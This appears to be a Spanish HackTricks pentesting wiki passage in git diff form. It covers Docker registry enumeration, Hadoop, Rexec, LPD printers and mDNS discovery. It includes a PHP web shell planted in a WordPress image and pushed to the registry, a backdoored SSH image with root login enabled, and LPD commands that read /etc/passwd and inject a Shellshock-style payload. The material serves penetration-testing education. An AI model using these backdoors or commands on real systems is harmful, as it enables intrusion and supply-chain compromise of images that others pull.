## Descubrimiento
|
||||
|
||||
La forma más fácil de descubrir si este servicio está en ejecución es obtenerlo en la salida de nmap. De todos modos, tenga en cuenta que como es un servicio basado en HTTP, puede estar detrás de proxies HTTP y nmap no lo detectará.\
|
||||
Algunas huellas:
|
||||
|
||||
* Si accede a `/`, no se devuelve nada en la respuesta.
|
||||
* Si accede a `/v2/`, se devuelve `{}`.
|
||||
* Si accede a `/v2/_catalog`, puede obtener:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Enumeración
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
El registro de Docker puede estar configurado para usar **HTTP** o **HTTPS**. Por lo tanto, lo primero que debe hacer es **encontrar cuál** se está configurando:
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
||||
Warning: curl to output it to your terminal anyway, or consider "--output
|
||||
Warning: <FILE>" to save to a file.
|
||||
|
||||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Autenticación
|
||||
|
||||
El registro de Docker también puede estar configurado para requerir **autenticación**:
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
||||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
Si el Registro de Docker requiere autenticación, puedes **intentar hacer fuerza bruta usando esto** (../generic-methodologies-and-resources/brute-force.md#docker-registry).
|
||||
|
||||
**Si encuentras credenciales válidas, necesitarás usarlas** para enumerar el registro. En `curl` puedes usarlas de la siguiente manera:
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### Enumeración usando DockerRegistryGrabber
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) es una herramienta de Python para enumerar / volcar registros de Docker (con o sin autenticación básica).
|
||||
```bash
|
||||
python3 DockerGraber.py http://127.0.0.1 --list
|
||||
|
||||
[+] my-ubuntu
|
||||
[+] my-ubuntu2
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||
|
||||
[+] my-ubuntu
|
||||
[+] my-ubuntu2
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu2
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
|
||||
|
||||
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
||||
|
||||
[+] blobSum found 5
|
||||
[+] Dumping my-ubuntu
|
||||
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
||||
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
||||
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Enumeración usando curl
|
||||
|
||||
Una vez que **has obtenido acceso al registro de Docker**, aquí hay algunos comandos que puedes usar para enumerarlo:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
|
||||
#Get tags of a repository
|
||||
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
||||
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
||||
|
||||
#Get manifests
|
||||
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"name": "ubuntu",
|
||||
"tag": "latest",
|
||||
"architecture": "amd64",
|
||||
"fsLayers": [
|
||||
{
|
||||
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
||||
},
|
||||
{
|
||||
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
||||
},
|
||||
{
|
||||
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
||||
}
|
||||
],
|
||||
"history": [
|
||||
{
|
||||
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
||||
},
|
||||
{
|
||||
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
||||
},
|
||||
{
|
||||
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
||||
}
|
||||
],
|
||||
"signatures": [
|
||||
{
|
||||
"header": {
|
||||
"jwk": {
|
||||
"crv": "P-256",
|
||||
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
||||
"kty": "EC",
|
||||
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
||||
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
||||
},
|
||||
"alg": "ES256"
|
||||
},
|
||||
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
||||
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
#Download one of the previously listed blobs
|
||||
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
||||
|
||||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que cuando descargues y descomprimas los archivos blobs, aparecerán archivos y carpetas en el directorio actual. Si descargas todos los blobs y los descomprimes en la misma carpeta, sobrescribirán los valores de los blobs previamente descomprimidos, así que ten cuidado. Puede ser interesante descomprimir cada blob dentro de una carpeta diferente para inspeccionar el contenido exacto de cada blob.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeración usando docker
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
||||
#Check the commands used to create the layers of the image
|
||||
docker history 10.10.10.10:5000/ubuntu
|
||||
#IMAGE CREATED CREATED BY SIZE COMMENT
|
||||
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
||||
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
||||
|
||||
#Run and get a shell
|
||||
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Creando una puerta trasera en una imagen de WordPress
|
||||
|
||||
En el escenario en el que se ha encontrado un Docker Registry que guarda una imagen de WordPress, se puede crear una puerta trasera.\
|
||||
**Crea** la **puerta trasera**:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```bash
|
||||
<?php echo shell_exec($_GET["cmd"]); ?>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Crea un **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Crear** la nueva imagen, **verificar** que se ha creado y **subirla**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### Instalando una puerta trasera en una imagen de servidor SSH
|
||||
|
||||
Supongamos que encontraste un Docker Registry con una imagen de SSH y quieres instalar una puerta trasera.\
|
||||
**Descarga** la imagen y **ejecútala**:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
Extrae el archivo `sshd_config` de la imagen SSH:
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
Y modifíquelo para establecer: `PermitRootLogin yes`
|
||||
|
||||
Cree un **Dockerfile** como el siguiente:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Crea** la nueva imagen, **verifica** que se haya creado y **súbela**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,19 @@
|
|||
# **Información básica**
|
||||
|
||||
Apache Hadoop es un marco de código abierto que admite el almacenamiento y procesamiento distribuido de grandes conjuntos de datos utilizando clústeres informáticos. El almacenamiento es manejado por el Sistema de Archivos Distribuidos de Hadoop (HDFS) y el procesamiento se realiza mediante el uso de MapReduce y otras aplicaciones (por ejemplo, Apache Storm, Flink y Spark) a través de YARN.
|
||||
|
||||
![](<../.gitbook/assets/image (139).png>)
|
||||
|
||||
Figura 15-1. Arquitectura de Hadoop 2.0
|
||||
|
||||
Puede consultar los servicios MapReduce y HDFS utilizando los scripts de Nmap que se enumeran en la siguiente tabla (incluidos los detalles de los puertos predeterminados). En el momento de escribir este artículo, Metasploit no admite Hadoop.
|
||||
|
||||
| **Nombre del script** | **Puerto** | **Propósito** |
|
||||
| ------------------------------ | ---------- | ----------------------------------------------------------------- |
|
||||
| hadoop-jobtracker-info | 50030 | Recuperar información de los servicios de seguimiento de trabajos y tareas de MapReduce |
|
||||
| hadoop-tasktracker-info | 50060 | |
|
||||
| hadoop-namenode-info | 50070 | Recuperar información del nodo de nombre HDFS |
|
||||
| hadoop-datanode-info | 50075 | Recuperar información del nodo de datos HDFS |
|
||||
| hadoop-secondary-namenode-info | 50090 | Recuperar información del nodo de nombre secundario HDFS |
|
||||
|
||||
Hay clientes HDFS ligeros de Python y Go disponibles en línea. Hadoop se ejecuta sin autenticación de forma predeterminada. Puede configurar los servicios HDFS, YARN y MapReduce para que usen Kerberos.
|
44
network-services-pentesting/512-pentesting-rexec.md
Normal file
44
network-services-pentesting/512-pentesting-rexec.md
Normal file
|
@ -0,0 +1,44 @@
|
|||
# 512 - Pentesting Rexec
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Es un servicio que **permite ejecutar un comando dentro de un host** si se conocen las **credenciales** válidas (nombre de usuario y contraseña).
|
||||
|
||||
**Puerto predeterminado:** 512
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
512/tcp open exec
|
||||
```
|
||||
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,51 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
El protocolo Line Printer Daemon (LPD) fue introducido originalmente en Berkeley Unix en los años 80 (posteriormente especificado por RFC1179).\
|
||||
El demonio se ejecuta en el puerto 515/tcp y se puede acceder a él utilizando el comando `lpr`. Para imprimir, el cliente envía un **archivo de control** que define el trabajo/usuario y un **archivo de datos** que contiene los datos reales que se van a imprimir. El **tipo de entrada** del archivo de datos se puede establecer en el archivo de control eligiendo entre **varios formatos de archivo**. Sin embargo, depende de la implementación de LPD cómo manejar los datos de impresión. Una implementación popular de LPD para sistemas operativos similares a Unix es LPRng. LPD se puede utilizar como portador para implementar trabajos de impresión maliciosos de **PostScript** o **PJL**.
|
||||
|
||||
Las herramientas `lpdprint` y `lpdtest` están incluidas en [**PRET**](https://github.com/RUB-NDS/PRET)**.** Son una forma minimalista de imprimir datos directamente en una impresora compatible con LPD o descargar/subir/eliminar archivos y más:
|
||||
```
|
||||
lpdprint.py hostname filename
|
||||
lpdtest.py hostname get /etc/passwd
|
||||
lpdtest.py hostname put ../../etc/passwd
|
||||
lpdtest.py hostname rm /some/file/on/printer
|
||||
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
Si quieres aprender más sobre [**hackear impresoras lee esta página**](pentesting-printers/).
|
||||
|
||||
# Shodan
|
||||
|
||||
* `puerto 515`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
95
network-services-pentesting/5353-udp-multicast-dns-mdns.md
Normal file
95
network-services-pentesting/5353-udp-multicast-dns-mdns.md
Normal file
|
@ -0,0 +1,95 @@
|
|||
## Información Básica
|
||||
|
||||
Multicast DNS (mDNS) es un protocolo de **configuración cero** que permite realizar operaciones **similares a DNS** en la red local en ausencia de un servidor DNS convencional unicast. El protocolo utiliza la misma API, formatos de paquetes y semántica de operación que DNS, lo que permite resolver nombres de dominio en la red local. **DNS Service Discovery (DNS-SD)** es un protocolo que permite a los clientes **descubrir una lista de instancias nombradas de servicios** (como test.\_ipps.\_tcp.local o linux.\_ssh.\_tcp.local) en un dominio utilizando consultas DNS estándar. DNS-SD se utiliza con mayor frecuencia en conjunto con mDNS, pero no depende de él. Ambos son utilizados por muchos dispositivos IoT, como impresoras de red, Apple TVs, Google Chromecast, dispositivos de almacenamiento conectados a la red (NAS) y cámaras.\
|
||||
**Puerto predeterminado:** 5353/UDP
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### Cómo funciona mDNS
|
||||
|
||||
Los dispositivos utilizan mDNS cuando la red local **carece** de un servidor DNS **unicast convencional**. Para resolver un nombre de dominio para una dirección local utilizando mDNS, el dispositivo envía una **consulta DNS para un nombre de dominio** que termina con **.local** a la dirección **multicast** **224.0.0.251** (para IPv4) o **FF02::FB** (para IPv6). También se puede utilizar mDNS para resolver **nombres de dominio globales** (no .local), pero las implementaciones de mDNS deben **desactivar** este comportamiento de forma predeterminada. Las solicitudes y respuestas de mDNS utilizan **UDP** y el puerto **5353** como puerto de origen y destino.
|
||||
|
||||
Las respuestas de mDNS contienen varias banderas importantes, incluyendo un valor de **Tiempo de vida** (TTL) que indica cuántos segundos el registro es válido. El envío de una respuesta con **TTL=0 significa que el registro correspondiente debe ser eliminado**. Otra bandera importante es el bit QU, que denota si la consulta es una consulta unicast o no. Si el **bit QU no está establecido**, el paquete es una consulta **multicast** (QM). Debido a que es posible **recibir consultas unicast fuera del enlace local**, las implementaciones seguras de mDNS siempre deben **verificar que la dirección de origen en el paquete coincida con el rango de direcciones de subred local**.
|
||||
|
||||
### Cómo funciona DNS-SD
|
||||
|
||||
DNS-SD permite a los clientes **descubrir servicios disponibles en la red**. Para utilizarlo, los clientes envían consultas DNS estándar para registros de puntero (PTR), que asignan el tipo de servicio a una lista de nombres de instancias específicas de ese tipo de servicio.
|
||||
|
||||
Para solicitar un registro PTR, los clientes utilizan la forma de nombre "\<Servicio>.\<Dominio>". La parte **\<Servicio>** es el **nombre del servicio** precedido por "\_" (por ejemplo, \_ipps, \_printer o \_ipp) y **\_tcp o \_udp**. La parte **\<Dominio>** es "**.local**".\
|
||||
Los **respondedores** devuelven los registros PTR que apuntan a los registros de **servicio (SRV)** y **texto (TXT)** acompañantes. Aquí hay un ejemplo de un registro PTR:
|
||||
```
|
||||
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
|
||||
```
|
||||
La parte del registro PTR a la **izquierda** de los dos puntos es su **nombre**, y la parte a la **derecha** es el registro **SRV** al que apunta el registro PTR. El registro **SRV** lista el **host** y el **puerto** de destino donde se puede acceder a la instancia del **servicio**. Por ejemplo, la siguiente imagen muestra un registro SRV "test.\_ipps.\_tcp.local" en Wireshark en el host ubuntu.local y el puerto 8000:
|
||||
|
||||
![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>)
|
||||
|
||||
Por lo tanto, el **nombre del registro SRV** es **similar** al registro **PTR** **precedido** por el nombre de la **\<Instancia>** (en este caso, test). El registro **TXT** tiene el **mismo nombre** que el registro **SRV** y contiene la información necesaria cuando la dirección IP y el número de puerto (contenidos en el registro SRV) de un servicio no son suficientes para identificarlo.
|
||||
|
||||
## Enumeración
|
||||
|
||||
### nmap
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 192.168.1.2
|
||||
|
||||
Starting Nmap 6.46 (http://nmap.org) at 2015-01-01 10:30 GMT
|
||||
Nmap scan report for 192.168.1.2
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
| dns-service-discovery:
|
||||
| 9/tcp workstation
|
||||
| Address=192.168.1.2
|
||||
| 22/tcp ssh
|
||||
| Address=192.168.1.2
|
||||
| 22/tcp sftp-ssh
|
||||
| Address=192.168.1.2
|
||||
| 445/tcp smb
|
||||
| Address=192.168.1.2
|
||||
```
|
||||
### Enumeración de Red
|
||||
|
||||
